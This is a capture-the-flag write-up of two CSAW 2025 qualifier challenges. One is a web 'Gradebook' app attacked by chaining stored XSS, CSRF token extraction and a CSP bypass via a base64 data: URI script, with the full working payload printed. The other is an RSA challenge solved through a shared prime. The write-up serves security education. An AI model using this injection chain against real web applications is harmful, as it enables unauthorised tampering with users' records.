# CSAW'25 Qualifiers

CSAW 2025 qualifiers, hosted online by NYU ([https://www.csaw.io/](https://www.csaw.io/)).

Challenges available here: [https://github.com/osirislab/CSAW-CTF-2025-Quals-Public](https://github.com/osirislab/CSAW-CTF-2025-Quals-Public)

# Gradebook

Written by `@LMBishop`, also hosted at [leonardobishop.net](https://leonardobishop.net/writeups/csaw-25-quals/gradebook).

This challenge is based on an online "gradebook", where students can log in, view their grades for their enrolled classes, and submit feedback for each one. Included in this challenge is a URL to the user-facing app, another URL for an "admin" page, and source code to the first site:

- [https://gradebook-app.ctf.csaw.io/login](https://gradebook-app.ctf.csaw.io/login)
- [https://gradebook-admin.ctf.csaw.io/](https://gradebook-admin.ctf.csaw.io/)

As we inspect the source code we can see there are two roles: "student" and "teacher". When a student is registered they are assigned to five random classes and receive random grades. A student may only view their own grades and submit feedback for classes they are enrolled on. A teacher may view any student's grades, change their grade, and view feedback from a particular student. Looking closer at the `/honor-roll-certificate`endpoint, we can see that the objective of this challenge is to find a way to change a students grades to all A's.

[![gradebook-2.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-2.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-2.png)

Inspecting the admin page, you will find that it has a form for a URL. While we don't have the source code for this page, we can make the assumption from the context of the challenge that that this is for a headless browser to visit, signed in as a teacher. This is a indication that some CSRF is likely.

[![gradebook-1.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-1.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-1.png)

## XSS

Looking closer at the template for dashboard page, we see that the comment is explicitly marked as safe.

```html
<td>
  <textarea name="comment_{{ element.enrollment_id }}" placeholder="Optional comment...">{{ element.feedback_comment|safe or '' }}</textarea>
</td>

```

This means that it is possible to inject a script here. As we are given a way to force a logged in teacher to view this page through the "admin" page, we are able to write a script and implement a CSRF attack to change our grades to all A's.

## CSRF

However, in this case executing such as attack is not that simple, due to the presence of a CSRF validation token on the grade change form.

```python
@app.route('/grade-change', methods=['GET', 'POST'])
def grade_change():
  if 'user_id' not in session:
    return redirect(url_for('login'))
  
  if session['user_type'] != 'teacher':
    flash('Access denied: Teachers only')
    return redirect(url_for('dashboard', user_id=session['user_id']))
  
  if request.method == 'POST':
    student_id = request.form.get('student_id')  
    class_id = request.form.get('class_id')
    new_grade = request.form.get('grade')
    csrf_token = request.form.get('csrf_token')

    try:
      validate_csrf(request.form.get('csrf_token'))
    except:
      return "CSRF token validation failed", 400
    
    # [...]

```

Fortunately, it's rather trivial to extract this token using JavaScript. Using it, we can submit the `/grade-change` form for our student ID (which can be found in the URL of our dashboard) and our class IDs to all grade A.

```js
async function extractCsrf(url) {
  const response = await fetch(url);
  
  const htmlText = await response.text();

  const parser = new DOMParser();
  const doc = parser.parseFromString(htmlText, 'text/html');

  const inputElement = doc.getElementsByName('csrf_token')[0];
  return inputElement.value;
}


async function changeGrades() {
  const url = 'https://gradebook-app.ctf.csaw.io/grade-change'; 
  
  const studentId = "7eda3f49-f043-41e4-a80b-075bd6e0f8ad";
  const classIds = ["0b7901f4-e098-413a-bacd-2d776157a417", "56b3cdd1-07e2-4df0-a337-ae3268002c74", "8e4885e7-f29c-4a08-b9e8-9dca1e061b49", "02d56ee8-d2cf-4654-a708-1f8cd8180187", "f395d3ed-b5e3-4bd3-93fc-93a366d9e545"];

  for (const classId of classIds) {
    const csrf = await extractCsrf(url);
    
    await fetch(url, {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
      },
      body: new URLSearchParams({
        'csrf_token': csrf,
        'student_id': studentId,
        'class_id': classId,
        'grade': 'A',
      }).toString()
    });
  }
}

window.addEventListener("load", changeGrades);

```

Hypothetically now, we can inject this script into the web page by submitting feedback on one of the classes with the following content, and then force the teacher to view the page using the admin endpoint.

```html
</textarea><script>
  // ...
</script>

```

[![gradebook-3.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-3.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-3.png)

However, we run into another problem. If we view the web page now and inspect the console, we can see that the browser refuses to load the injected script due to the site's Content-Security-Policy.

[![gradebook-4.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-4.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-4.png)

## CSP bypass

The Content-Security-Policy is another line of defence against cross-site scripting, as it instructs the browser exactly what scripts, images, styles, etc. are allowed to be loaded, and from where.[^1](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) The full CSP for the dashboard page is as follows:

```
default-src 'none'; script-src 'self' data:; style-src 'self' 'unsafe-inline'; img-src *; font-src *; connect-src 'self'; object-src 'none'; media-src 'none'; frame-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'self'; form-action 'self';

```

The part we are interested in is `script-src`, which is set to allow from `'self'` and `data:`. `'self'` will only permit scripts from the same origin (which excludes inline scripts),[^2](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src)which is no use to us. `data:`, however, is a special URI which allows us to in-line data as if they were external resources. This means we can encode our script as base64 and load it that way.

```html
</textarea><script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gZXh0cmFjdENzcmYodXJsKSB7CiAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCh1cmwpOwogIAogIGNvbnN0IGh0bWxUZXh0ID0gYXdhaXQgcmVzcG9uc2UudGV4dCgpOwoKICBjb25zdCBwYXJzZXIgPSBuZXcgRE9NUGFyc2VyKCk7CiAgY29uc3QgZG9jID0gcGFyc2VyLnBhcnNlRnJvbVN0cmluZyhodG1sVGV4dCwgJ3RleHQvaHRtbCcpOwoKICBjb25zdCBpbnB1dEVsZW1lbnQgPSBkb2MuZ2V0RWxlbWVudHNCeU5hbWUoJ2NzcmZfdG9rZW4nKVswXTsKICByZXR1cm4gaW5wdXRFbGVtZW50LnZhbHVlOwp9CgoKYXN5bmMgZnVuY3Rpb24gY2hhbmdlR3JhZGVzKCkgewogIGNvbnN0IHVybCA9ICdodHRwczovL2dyYWRlYm9vay1hcHAuY3RmLmNzYXcuaW8vZ3JhZGUtY2hhbmdlJzsgCiAgCiAgY29uc3Qgc3R1ZGVudElkID0gIjdlZGEzZjQ5LWYwNDMtNDFlNC1hODBiLTA3NWJkNmUwZjhhZCI7CiAgY29uc3QgY2xhc3NJZHMgPSBbIjBiNzkwMWY0LWUwOTgtNDEzYS1iYWNkLTJkNzc2MTU3YTQxNyIsICI1NmIzY2RkMS0wN2UyLTRkZjAtYTMzNy1hZTMyNjgwMDJjNzQiLCAiOGU0ODg1ZTctZjI5Yy00YTA4LWI5ZTgtOWRjYTFlMDYxYjQ5IiwgIjAyZDU2ZWU4LWQyY2YtNDY1NC1hNzA4LTFmOGNkODE4MDE4NyIsICJmMzk1ZDNlZC1iNWUzLTRiZDMtOTNmYy05M2EzNjZkOWU1NDUiXTsKCiAgZm9yIChjb25zdCBjbGFzc0lkIG9mIGNsYXNzSWRzKSB7CiAgICBjb25zdCBjc3JmID0gYXdhaXQgZXh0cmFjdENzcmYodXJsKTsKICAgIAogICAgYXdhaXQgZmV0Y2godXJsLCB7CiAgICAgIG1ldGhvZDogIlBPU1QiLAogICAgICBoZWFkZXJzOiB7CiAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiLAogICAgICB9LAogICAgICBib2R5OiBuZXcgVVJMU2VhcmNoUGFyYW1zKHsKICAgICAgICAnY3NyZl90b2tlbic6IGNzcmYsCiAgICAgICAgJ3N0dWRlbnRfaWQnOiBzdHVkZW50SWQsCiAgICAgICAgJ2NsYXNzX2lkJzogY2xhc3NJZCwKICAgICAgICAnZ3JhZGUnOiAnQScsCiAgICAgIH0pLnRvU3RyaW5nKCkKICAgIH0pOwogIH0KfQoKd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBjaGFuZ2VHcmFkZXMpOw==">
</script>

```

Finally, with the script injected, we can force the teacher to view the page...

[![gradebook-5.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-5.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-5.png)

... which updates all our grades to A ...

[![gradebook-6.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-6.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-6.png)

... which allows us to retrieve the flag, `csawctf{y0u_m@de_the_h@cking_h0n0r_r0ll}`.

[![gradebook-7.png](https://docs.afnom.net/uploads/images/gallery/2025-11/scaled-1680-/gradebook-7.png)](https://docs.afnom.net/uploads/images/gallery/2025-11/gradebook-7.png)

# Obligatory RSA

Written by `@flaberpengu`. Challenge available on [Github](https://github.com/osirislab/CSAW-CTF-2025-Quals-Public/tree/main/crypto/obligatory-rsa).

This is an easy cryptography challenge focused on RSA. The first thing to note is that we are given `n1, n2, d1, d2, e` but no designated ciphertext, which is unusual.

The first thing I tried was calculating `gcd(n1, n2)` using SageMath which we'd expect to be `1` if the provided cryptosystem was secure. However, it's not:

```python
gcd(n1, n2) = 9925116240800973850976595132262541359576508947713626861810366840898037176246956650733841956083715917138800916619654906904656983178635430247237882300194413

```

If we suppose that this is a standard RSA implementation with `n1 = p1 * q1` and `n2 = p2 * q2`, then we have found `p1 = p2 = gcd(n1,n2)`. Thus, this allows us to calculate `q1, q2`:

```python
q1 = n1 // p1 = 13006651370258001672928188372391867422746978607439183348847464680178510492404973029962615378734440525453215135688732213505850572589678909644213600949540921
q2 = n2 // p2 = 10917263923358559244780452437104994452390747320090210101682078886000637464304294064920553186449970174360769396946273160561865226393135471579417553316399283

```

Now, if we go to [dcode.fr](https://www.dcode.fr/rsa-cipher) and input our `n1, p1, q1, e` values, we find that the `d1` calculated by the tool (let's call this `d1_1`) differs from the provided `d1` value - this is *very* interesting, as checking `p1 * q1` does indeed give us `n1` as expected.

```python
d1 = 88843495989869871001559754882918076779858404440780391818567639602073173623287821751315349650577023725245222074965050035045516207303078461168168819365025746973589245131570143944718203046457391270418459087764266630890566079039821735168805805866019315142070438225092171304343352469029480503113942986147848666077
d1_1 = 86126030177837848662825970369047097346037344979920344231389703344799637719997085165420930469403398111424234266812997542034004331808746592776035083372934490022412928779760979499411408551665494971131761608594013226296905709307241753295397748660979238481878866400613447069957173087681482179468008629542084039553`

```

After some playing about, I tried decrypting `d1` using `n1, d1_1, e` on dcode. If we do this using the "plaintext as string" option, we find the flag: `csawctf{wH04m1_70d3Ny_7r4D1710n_4820391578649021735}`. (The flag is presumably a callback to the title, referencing that nearly every CTF ever has some form of easy RSA attack).